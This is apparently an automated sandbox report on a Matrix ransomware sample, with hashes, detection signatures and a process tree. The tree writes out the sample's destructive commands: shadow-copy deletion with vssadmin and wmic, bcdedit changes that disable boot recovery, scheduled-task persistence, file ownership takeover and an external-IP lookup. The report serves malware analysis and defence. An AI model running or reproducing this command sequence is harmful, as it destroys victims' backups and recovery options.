Overview

overview

10

Static

static

0b03bf1c7b...a7.exe

windows7_x64

10

0b03bf1c7b...a7.exe

windows10_x64

10

Analysis

  • max time kernel
    152s
  • max time network
    14s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    08-10-2020 15:06

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe

  • Size

    1.2MB

  • MD5

    76b640aa00354e46b29ca7ac2adfd732

  • SHA1

    afebf9d72ba7186afefebf4deda87675621b0b8b

  • SHA256

    0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7

  • SHA512

    fecb15238714c786098f1dd0bb18696ab15634228ec3a48c900fd843e817d4c24607bdf6fb58e0321da3e1c1e49305ec919dddabbd34727acec8fbd6cb6fd552

Score
10/10
ransomwareevasionupxpersistencediscoverymatrix

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://myexternalip.com/raw

Signatures

  • Matrix Ransomware 498 IoCs

    Targeted ransomware with information collection and encryption functionality.

    ransomwarematrix
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Blacklisted process makes network request 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Sets service image path in registry 2 TTPs
    persistence
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Loads dropped DLL 4 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Modifies service 2 TTPs 11 IoCs
    persistence
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 7272 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Interacts with shadow copies 2 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Control Panel 5 IoCs
    evasion
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 47 IoCs
  • Suspicious use of WriteProcessMemory 108 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
    "C:\Users\Admin\AppData\Local\Temp\0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe"
    1⤵
    • Matrix Ransomware
    • Loads dropped DLL
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:1012
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe" "C:\Users\Admin\AppData\Local\Temp\NW1TO6FN.exe"
      2⤵
        PID:804
      • C:\Users\Admin\AppData\Local\Temp\NW1TO6FN.exe
        "C:\Users\Admin\AppData\Local\Temp\NW1TO6FN.exe" -n
        2⤵
        • Executes dropped EXE
        PID:1080
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\scFi13x4.txt"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1960
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
          3⤵
          • Blacklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1996
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\j7p6bcaM.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1560
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\j7p6bcaM.bmp" /f
          3⤵
          • Sets desktop wallpaper using registry
          • Modifies Control Panel
          PID:580
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
          3⤵
          • Modifies Control Panel
          PID:616
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
          3⤵
          • Modifies Control Panel
          PID:1532
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\yy8uUyjE.vbs"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1932
        • C:\Windows\SysWOW64\wscript.exe
          wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\yy8uUyjE.vbs"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:544
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\YqxXfHDo.bat" /sc minute /mo 5 /RL HIGHEST /F
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:276
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\YqxXfHDo.bat" /sc minute /mo 5 /RL HIGHEST /F
              5⤵
              • Creates scheduled task(s)
              PID:1064
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
            4⤵
              PID:1224
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /Run /I /tn DSHCA
                5⤵
                  PID:676
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c ""C:\Users\Admin\AppData\Local\Temp\4kJwdGWU.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf""
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1340
            • C:\Windows\SysWOW64\attrib.exe
              attrib -R -A -S "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf"
              3⤵
              • Views/modifies file attributes
              PID:1504
            • C:\Windows\SysWOW64\cacls.exe
              cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf" /E /G Admin:F /C
              3⤵
                PID:1060
              • C:\Windows\SysWOW64\takeown.exe
                takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf"
                3⤵
                • Modifies file permissions
                PID:1392
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c SfpZfF6O.exe -accepteula "AdobeID.pdf" -nobanner
                3⤵
                • Loads dropped DLL
                PID:1524
                • C:\Users\Admin\AppData\Local\Temp\SfpZfF6O.exe
                  SfpZfF6O.exe -accepteula "AdobeID.pdf" -nobanner
                  4⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:1768
                  • C:\Users\Admin\AppData\Local\Temp\SfpZfF6O64.exe
                    SfpZfF6O.exe -accepteula "AdobeID.pdf" -nobanner
                    5⤵
                    • Drops file in Drivers directory
                    • Executes dropped EXE
                    • Enumerates connected drives
                    • Modifies service
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious behavior: LoadsDriver
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1668
          • C:\Windows\system32\taskeng.exe
            taskeng.exe {892BA535-E5F8-4621-B10C-9C49C7A2FDAB} S-1-5-21-1131729243-447456001-3632642222-1000:AVGLFESB\Admin:Interactive:[1]
            1⤵
              PID:1640
              • C:\Windows\SYSTEM32\cmd.exe
                C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\YqxXfHDo.bat"
                2⤵
                  PID:700
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin Delete Shadows /All /Quiet
                    3⤵
                    • Interacts with shadow copies
                    PID:1380
                  • C:\Windows\System32\Wbem\WMIC.exe
                    wmic SHADOWCOPY DELETE
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:608
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -Exec Unrestricted try {start-process -FilePath "vssadmin" -ArgumentList "delete","shadows","/all","/quiet" -WindowStyle Hidden} catch {}
                    3⤵
                    • Drops file in System32 directory
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:852
                    • C:\Windows\system32\vssadmin.exe
                      "C:\Windows\system32\vssadmin.exe" delete shadows /all /quiet
                      4⤵
                      • Interacts with shadow copies
                      PID:1968
                  • C:\Windows\system32\bcdedit.exe
                    bcdedit /set {default} recoveryenabled No
                    3⤵
                    • Modifies boot configuration data using bcdedit
                    PID:1052
                  • C:\Windows\system32\bcdedit.exe
                    bcdedit /set {default} bootstatuspolicy ignoreallfailures
                    3⤵
                    • Modifies boot configuration data using bcdedit
                    PID:1076
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN DSHCA /F
                    3⤵
                      PID:612
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                  • Modifies service
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1504

                Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • memory/544-54-0x00000000026C0000-0x00000000026C4000-memory.dmp

                  Filesize

                  16KB

                  Download

                • memory/852-65-0x0000000001EB0000-0x0000000001EB1000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/852-69-0x000000001AAD0000-0x000000001AAD1000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/852-78-0x000000001A880000-0x000000001A881000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/852-64-0x00000000023F0000-0x00000000023F1000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/852-63-0x000000001AB90000-0x000000001AB91000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/852-77-0x0000000002580000-0x0000000002581000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/852-76-0x0000000002560000-0x0000000002561000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/852-62-0x0000000001F50000-0x0000000001F51000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/852-75-0x00000000024D0000-0x00000000024D1000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/852-74-0x00000000024C0000-0x00000000024C1000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/852-61-0x000007FEF5500000-0x000007FEF5EEC000-memory.dmp

                  Filesize

                  9.9MB

                  Download

                • memory/852-99-0x000000001B440000-0x000000001B441000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/852-92-0x000000001B510000-0x000000001B511000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/852-85-0x000000001B4E0000-0x000000001B4E1000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1996-9-0x0000000000880000-0x0000000000881000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1996-12-0x00000000052A0000-0x00000000052A1000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1996-8-0x0000000073E90000-0x000000007457E000-memory.dmp

                  Filesize

                  6.9MB

                  Download

                • memory/1996-15-0x0000000006070000-0x0000000006071000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1996-20-0x00000000060B0000-0x00000000060B1000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1996-10-0x0000000004780000-0x0000000004781000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1996-11-0x00000000024A0000-0x00000000024A1000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1996-21-0x0000000006170000-0x0000000006171000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1996-28-0x0000000006270000-0x0000000006271000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1996-29-0x0000000006310000-0x0000000006311000-memory.dmp

                  Filesize

                  4KB

                  Download